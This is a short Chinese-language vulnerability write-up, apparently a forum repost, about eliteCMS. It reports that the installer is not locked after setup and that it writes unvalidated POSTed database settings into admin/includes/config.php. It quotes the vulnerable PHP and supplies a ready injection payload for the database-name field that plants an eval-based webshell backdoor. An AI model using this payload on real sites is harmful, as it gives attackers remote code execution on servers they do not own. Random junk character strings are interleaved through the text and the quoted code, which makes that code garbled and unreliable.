eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
/ Q2 b& _+ i& ?9 v  t) C) D+ l+ y
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
, l# }5 [4 k  M# A
...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
6 u# A6 M# T2 p7 i# }- B: Z    $write .= "*\n";
. x% f2 I4 P7 y# a# a2 P    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
$ W9 I$ n7 \) _6 o, K: z: Y    $write .= "\n";
$ G9 V( y- `5 b1 B% T    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( k& T+ b- g" n: p/ F( k    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
) F& j9 K3 }+ B    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
0 W6 c9 U0 m) v' [; z( ^. U    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
0 ^( w; }/ S* N/ B/ M2 t    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
6 f6 g" ?/ N8 m7 W& f: j- @    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
  h- t" L- X0 T    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
. E* Q, f4 N4 j( I, f3 l1 y    $write .= "        \n";
2 A7 U" D: C6 A+ k/ V    $write .= "} \n";
3 P5 D# K' f5 v4 d    $write .= "?>\n";
6 e& ?; c" ]5 v, |
* |  h5 M! |7 G: e( H: P    $writer = fopen($file, 'w');
...

& X9 [, u; p* n+ k在看代码：

' }  `  \# x. X$ E" z$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
# O9 z6 |" W3 \, K$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

+ z' h, C8 _" d8 l' G将导致一句话后门写入/admin/includes/config.php